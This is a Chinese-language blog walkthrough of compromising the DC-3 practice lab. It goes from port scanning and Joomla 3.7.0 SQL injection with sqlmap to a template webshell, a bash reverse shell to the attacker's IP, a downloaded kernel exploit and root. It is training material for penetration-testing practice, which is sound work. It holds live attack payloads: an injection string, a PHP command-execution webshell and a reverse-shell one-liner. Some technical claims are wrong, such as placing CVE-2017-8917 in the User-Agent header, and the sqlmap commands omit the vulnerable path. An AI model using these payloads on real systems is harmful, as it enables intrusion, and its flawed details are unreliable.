☰
Joomla 3.7.0 SQL注入到内核提权:DC-3靶机完整渗透实战
2026/10/19 7:58:40 网站建设 项目流程

DC-3这台靶机在圈子里口碑一直很稳,几乎每个练内网和Web渗透的人都会拿它过一遍。它本身不难,难点在于你对信息收集、漏洞利用和提权这三件事有没有形成肌肉记忆——如果你习惯拿到目标就一顿乱扫、看到洞就想秒拿权限,这台靶机会让你安静下来重新理一遍思路。整台机器只开放了一个Web端口,攻击面全压在Joomla这一个CMS上,从Web打进去到最后拿root,是一套非常标准的单点突破口打法。

这篇文章我按实际打靶的完整链路来写:从环境确认开始,到扫端口、识别CMS指纹、锁定Joomla的历史漏洞、利用SQL注入拿数据、进后台、改模板落shell、再到内核提权,每一步都给出当时的命令、输出和判断依据,把踩过的坑和判断逻辑一并说清。适合刚入门想系统走一遍靶机的朋友,也适合那些打过一次但对细节记不牢的选手拿来做对照。

1. 开打之前:先吃透靶机的脾气

很多人在靶机上浪费时间的第一个原因,不是技术不够,而是压根没想清楚这台靶机在考什么。DC-3从标题到描述都在暗示一件事:只有一个攻击入口,你的精力必须全花在Web层面。如果还在用打DC-1、DC-2的思路去期待多个端口、多个服务,大概率会空手而归。

1.1 靶机环境确认与网络连通性

我习惯先把靶机和攻击机的网络搞明白。DC-3官方推荐的网络模式是NAT,靶机IP在自己网段里动态获取。启动之后常见的做法有两个:一个是在VMware的虚拟网络编辑器里看一眼DHCP地址池,另一个更省事——直接nmap扫一遍本地网段,把新冒出来的主机抓出来。

攻击机我用的是Kali,靶机分配到的IP是192.168.1.128,攻击机是192.168.1.106。环境确认后先做一次连通性测试,再上nmap,这是我打靶前雷打不动的顺序。

ping -c 3 192.168.1.128

如果能稳定回包,说明靶机已启动,网络没问题。接下来进入信息收集阶段,这一步质量高低直接决定后面是走坦途还是绕远路。

1.2 全端口扫描:为什么只扫到80

nmap我习惯用两个阶段:先快速探测开放端口,再针对开放的端口做服务和版本识别。

nmap -sS -sV -p- -T4 192.168.1.128

-p-表示扫描全部65535个端口,-sV会顺带做版本探测。结果非常干脆:

PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.10 ((Debian)) MAC Address: 00:0C:29:xx:xx:xx (VMware)

这台靶机居然只开了一个80端口。和你平时打的内网机器不同,这里没有SSH、没有数据库端口外露、没有文件共享,所有攻击面都被压缩到了Web应用上。这就意味着,下一步必须把重点放到Web指纹识别和应用层漏洞挖掘上,系统层的漏洞利用只能等拿到Web权限之后再考虑。

这里有个心得:看到端口少别急着失望,端口少反而是出题人在刻意引导你往深处走。如果CMS本身存在已知漏洞,一个80端口就足以拿下一台机器。

1.3 先看页面再动手:别急着上扫描器

端口扫描一结束,我第一件事是打开浏览器访问http://192.168.1.128。DC-3的首页乍一看没什么特殊,布局是普通的CMS默认主题风格,一眼能猜出是某个内容管理系统搭的站。但别急着开心,你要做的是把页面源代码慢慢翻一遍。

在页面源码里有一行meta标签很有意思:

<meta name="generator" content="Joomla! - Open Source Content Management" />

Joomla这个指纹信息就像一个人自报家门。如果你看到的是Drupal或WordPress的痕迹,那就查对应的漏洞库;既然确认是Joomla,接下来的路线就清晰多了——先定位精确版本,再查该版本是否存在已知漏洞。

2. 拿下Web入口:从版本指纹到Joomla SQL注入

确认CMS是Joomla之后,下一件事是找出精确版本号。版本号决定你能不能快速匹配到公开漏洞。DC-3这里的版本识别有一个比较经典的操作,通过查看系统页面源代码或特定路径的组件信息来确定。

2.1 版本识别:Joomla 3.7.0的暴露痕迹

访问首页的同时,我习惯把robots.txt、README.txt、administrator目录都探一遍。Joomla的安装目录结构里有不少可以辅助判断版本的文件,比如:

http://192.168.1.128/administrator/ http://192.168.1.128/robots.txt

浏览器访问/administrator/manifests/files/joomla.xml这种路径可以看到更明确的版本号。但DC-3这台机器上有个更直接的判断方法——查看Joomla更新相关文件或者安装清单,里面通常能读出当前的精确版本。

我当时通过直接读取页面深层内容,最终确认这台靶机跑的是Joomla 3.7.0。这个版本号一出来,思路就瞬间清晰了。Joomla 3.7.0有一个非常著名的SQL注入漏洞,编号是CVE-2017-8917,影响范围正好包含这个版本,而且利用难度不高,正好适合做攻击入口。

2.2 CVE-2017-8917:com_fields组件的User-Agent注入点

这个漏洞的原理一句话能讲清:Joomla在3.7.0版本里新增了com_fields组件,但这个组件对请求里的User-Agent字段过滤不够严格,导致恶意SQL语句可以被拼接进数据库查询里。攻击者只要构造一个特殊的User-Agent请求,就能让数据库执行我们想要的操作。

可能有人会问,为什么要用User-Agent而不是普通的GET参数?因为这个漏洞出在组件处理请求头的地方,攻击面不在URL参数里,而在HTTP头里。这也是为什么很多自动化扫描器翻车的原因——默认扫描不会去遍历所有请求头,对这个点无能为力。

我自己验证的时候,是通过抓包工具改了User-Agent的值,再观察服务器返回的差异来判断的。证据类型有很多种,但最稳妥的方式是让注入点在请求中形成可见的报错或者时间延迟。

注入点的格式大概是这样的,注意这只是一个靶机环境下的验证思路,不要拿去打任何未经授权的线上系统:

User-Agent: Mozilla/5.0 (compatible; Joomla!)' AND extractvalue(1, concat(0x7e, database())) -- -

这个payload利用了MySQL的报错机制,如果数据库把查询结果直接反馈到页面上,就能看到数据库名。但说实话,手工一点点构造很累,实战中我用的是自动化工具来加快这个过程。

2.3 用sqlmap直接淌数据库

数据库类型是MySQL,注入点在User-Agent头,这两条信息足够让sqlmap干活了。但直接跑默认配置不会自动测到User-Agent头,必须在命令里指定level和risk。

sqlmap -u "http://192.168.1.128/index.php" \ --level=3 --risk=2 \ --dbms=mysql \ --batch

level=3的意义在于,sqlmap会把请求头里的各个字段都纳入测试范围,包括User-Agent。risk=2则会启用部分对目标可能有轻微影响的测试语句。

跑起来之后观察输出,很快能看到类似下面的回显,确认User-Agent位置存在注入点:

Parameter: User-Agent (HTTP) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Type: error-based Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause

既然确认是Joomla的SQL注入,第一步是把当前数据库名拿出来:

sqlmap -u "http://192.168.1.128/index.php" \ --level=3 --risk=2 --dbms=mysql \ --current-db --batch

拿到库名之后,我下一步就是枚举表名。这一步必须有耐心,因为Joomla的表结构非常固定,你真正想要的数据往往集中在users表里,但表前缀各种值都有,直接猜不如老老实实列一遍。

sqlmap -u "http://192.168.1.128/index.php" \ --level=3 --risk=2 --dbms=mysql \ -D joomladb --tables --batch

数据库输出的表里能看到一个类似xxx_users的表,这就是存后台账号数据的地方。把这张表的内容拖出来,重点看用户名和密码字段:

sqlmap -u "http://192.168.1.128/index.php" \ --level=3 --risk=2 --dbms=mysql \ -D joomladb -T xxx_users --dump --batch

密码字段拿到手的是一串hash,这串hash可以直接交给hashcat等工具跑弱口令字典,也可以先拿到后台登录页去试试默认凭据。这里说一句,靶机环境的hash破解往往只是时间问题,弱口令字典足够小就能快速碰撞出明文。

3. 进入后台之后:把一句话变成shell

拿到Joomla后台的管理员权限,这就算正式打开了第一道门。但Joomla后台本身能做的事不少,很多人卡在这个位置不知道下一步怎么走。其实思路非常固定:利用后台的模板编辑功能,把PHP代码塞进模板文件,再通过访问这个模板文件触发PHP代码执行,从而拿到WebShell权限。

3.1 后台登录与管理员凭据的来源

后台登录入口在/administrator目录,页面长得和其他Joomla后台一模一样。我这里用的凭据是从sqlmap拖出来的数据里整理出来的,hash破解之后得到了管理员的密码明文。

登录过程没什么可讲的,输入账号密码,进入后台首页。关键问题在于:接下来去哪做手脚。

3.2 篡改模板文件:从后台到webshell

Joomla后台左侧菜单里找到“模板”相关的选项,进入当前正在使用的默认模板的编辑页面。模板文件列表里有index.php,这就是我们需要的目标文件。

我当时的做法是找一个不影响页面主干的PHP位置,在文件头部或者某个不被直接访问的逻辑块里插入一段PHP代码。这里要着重强调:这段代码必须具有简单的命令执行能力,也就是俗称的一句话木马,只要能被解析器执行,就能通过HTTP请求带系统命令。

大致逻辑如下:

<?php system($_GET['cmd']); ?>

把这段代码保存进index.php之后,直接在浏览器里访问:

http://192.168.1.128/index.php?cmd=id

页面回显里如果出现了www-data或apache相关的用户信息,说明PHP代码已经成功执行,我们现在拥有的是Web服务的权限,也就是www-data用户权限。

这里有一个非常关键的坑:如果模板被缓存了,修改之后前端可能不会立即生效。我当时遇到过这种情况,页面怎么刷新都不执行新代码。解决办法是清掉Joomla的系统缓存,或者在URL后面加一个随机参数强制绕过缓存。

3.3 把单向命令交互升级为可交互Shell

直接通过URL传cmd虽然能用,但体验很糟糕:每次执行命令都要刷新页面、改参数、解码特殊字符,连翻目录都很痛苦。我习惯在拿到初步命令执行能力之后,立刻升级成可交互的shell。

反向Shell是一种常见手段——让靶机主动连回攻击机的监听端口。攻击机这边先监听:

nc -lvnp 4444

靶机那边执行:

bash -i >& /dev/tcp/192.168.1.106/4444 0>&1

如果是通过URL传参,需要注意URL编码问题,尤其是>和&这类字符会被当成特殊符号处理。我当时直接把命令用URL编码传了一遍,成功让靶机连回了Kali。连接建立之后,再用Python把shell升级成交互模式:

python -c 'import pty; pty.spawn("/bin/bash")'

这样就有了一个相对完整的bash环境,可以正常看文件、切目录、传文件了。

3.4 提权前的信息收集:kernel版本是最关键的那块拼图

拿到www-data权限之后,别急着翻网站源码、找数据库配置文件,虽然是常规操作,但DC-3这台靶机真正要考的核心摆在系统层面。先看内核:

uname -a

输出非常醒目:

Linux DC-3 4.4.0-21-generic #30-Ubuntu SMP ...

4.4.0-21-generic,这个内核版本我熟得很。它属于Ubuntu 16.04系列,是一个存在经典本地提权漏洞的内核版本。到这里,整个攻击链已经拼齐了:Joomla漏洞进后台 -> 模板写入一句话 -> 命令执行 -> 获得www-data -> 内核提权。剩下的活儿全部集中在如何把root权限拿到手。

4. 内核提权:从www-data到root

内核版本4.4.0-21-generic对应的本地提权漏洞,在当时已经被公开利用代码覆盖。这类漏洞的原理多数出在Linux内核的某个子系统对用户空间传入的数据缺少边界校验,导致攻击者可以以内核权限执行任意代码。说白了就是:一个普通用户可以通过运行特定程序,把内核的某块内存改写成自己的shellcode,从而获得root权限的进程。

4.1 为什么这个内核版本能提权

内核4.4.0早期版本存在一个非常经典的竞态条件漏洞,本质上是因为内核在处理某些文件系统操作时,没有正确处理符号链接和真实文件之间的切换窗口。攻击者可以利用这个竞态窗口,让内核在检查权限之后、真正执行操作之前,把目标路径悄悄替换掉。一旦成功,就能让内核以root身份把恶意文件写成可执行文件,或者执行我们指定的操作。

这个漏洞在真实世界里影响过大量Ubuntu系统,后续被内核补丁修复。而在靶机上,系统没有打补丁,所以我们能直接利用。

4.2 利用代码的获取与编译

拿到利用代码的过程比较常规——在Kali上搜索匹配4.4.0-21-generic的本地提权exp,下载后进行交叉检查和编译。不过我更推荐在靶机上直接编译,因为编译出来的二进制能保证和靶机当前内核完全匹配,减少“libc版本不一致”“编译选项不兼容”这类莫名其妙的问题。

下载exp后,在靶机上操作:

wget http://192.168.1.106/exploit.c gcc -o exploit exploit.c

如果编译过程中报错,常见原因有两个:一是缺少某个头文件,二是代码里用了更新的内嵌汇编语法。遇到前者就检查gcc和内核头文件是否齐全,遇到后者就换个版本的exp。我最后选中的exp编译过程非常顺利,没有额外依赖,直接生成了可执行文件。

4.3 执行提权:从编译到落地

执行:

./exploit

等待一小段时间后,终端里多了一个root提示符。

拿root之后做的第一件事是确认身份:

id

输出:

uid=0(root) gid=0(root) groups=0(root)

root权限到手。再顺手把flag文件读出来,这一步等于宣告整台靶机已经被完整打穿。

这里有个值得提的细节:执行本地提权exp的时候,环境变量尤其是PATH要小心。因为提权之后shell的环境继承自当前用户,如果当前PATH里被塞了不正常的路径,任何一条命令都可能被劫持。虽然靶机环境简单,不至于做手脚,但正规思路是每次拿到新权限之后先执行/bin/sh换一个干净环境。

5. 复盘与经验:这台靶机教会我的事

DC-3如果只看结论,攻击路径只有四条:Joomla旧版本漏洞、模板写一句话、命令执行、内核提权。但真正把这条路走顺,背后全是对细节的把握。

5.1 信息收集的核心是维度,不是数量

很多新手习惯把扫描器输出的所有东西都抄一遍,看到什么报告什么。但DC-3教会我的第一件事是:信息收集的关键在于把分散的线索串联成一个完整的攻击面地图。你从 标签里拿到Joomla指纹,从组件里锁定3.7.0,从3.7.0匹配到CVE,再从CVE推导出注入点位置。整个链条环环相扣,没有任何一步是多余的。

反过来看那些在靶机上卡死的人,往往不是没信息,而是拿到了信息之后没有往下追问“这个信息能推导出什么下一步”。版本号不止是记录在案的数字,它意味着一个具体的漏洞仓库;CMS类型不止是页面上的一句话,它决定了整个攻击面分析框架。学会让信息自己说话,比多装十个扫描器强得多。

5.2 自动化工具要配合人工判断,不能无脑跑

sqlmap在这次攻击链路里帮了大忙,但如果有人以为把命令丢上去就能自动交flag,那就大错特错了。我在跑sqlmap的过程中至少人工干预了三回:第一回是指定--level=3来扩大测试范围,第二回是在多个数据库表里筛出users表,第三回是从一堆hash里判断哪个可以优先破解。工具能帮你省去重复劳动,但关键判断必须靠脑子。

另外还有一个容易踩的细节:sqlmap跑完注入之后,宿主机的Web服务可能会出现短暂的响应变慢,这是数据库被大量查询压住导致的。打靶机无所谓,但在真实授权测试里必须控制请求频率,否则影响业务本身就是事故。

5.3 为什么要区分靶机思路和真实渗透思路

打靶机练的是“在理想条件下把攻击链走通”,但真实环境里至少要多考虑三层:

  • 漏洞利用的稳定性:靶机环境固定,exp跑一次就能成,但真实系统内核版本、编译环境、内存布局都可能不一样,同样的exp可能要跑十次才成功,甚至直接把目标打崩。
  • 流量层面的隐蔽性:sqlmap一键拖库在靶机里毫无压力,可真实业务环境里,这种高频SQL注入请求十有八九会被防护系统拦下来。
  • 影响范围控制:写一句话木马、改模板文件,这些操作在靶机上只是测试步骤,但在真实系统上属于高危动作,任何未经授权的同类操作都可能导致数据损坏或者系统被入侵。

我对DC-3一直有个评价:它是最好的“单点切入”教学靶机之一。没有复杂的网络拓扑,没有多主机横向移动,要求就是让你老老实实把一个Web漏洞从发现、利用、拿权限、提权走完。这套动作看着基础,但只要你完完整整走一遍,后面再去打那些多层网络、多阶段渗透的靶机,至少底子是稳的。上手这台靶机,建议别急着搜WP,尽可能自己卡一卡,卡住再看答案收获完全不同。

最后再分享一个心态层面的小技巧:打靶机卡住的时候,别埋头硬刚,把已经拿到的信息重新捋一遍,问自己三个问题——我的信息收集有没有遗漏关键维度?当前漏洞利用方式是不是唯一解?我是不是太快把某个结论当成事实了?DC-3这一趟下来,磨掉的不是你的热情,是那种看见端口就想打、拿到工具就想跑、出一个结果就收工的急躁。这种状态一旦能自我察觉,你离真正的渗透思路也就不远了。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询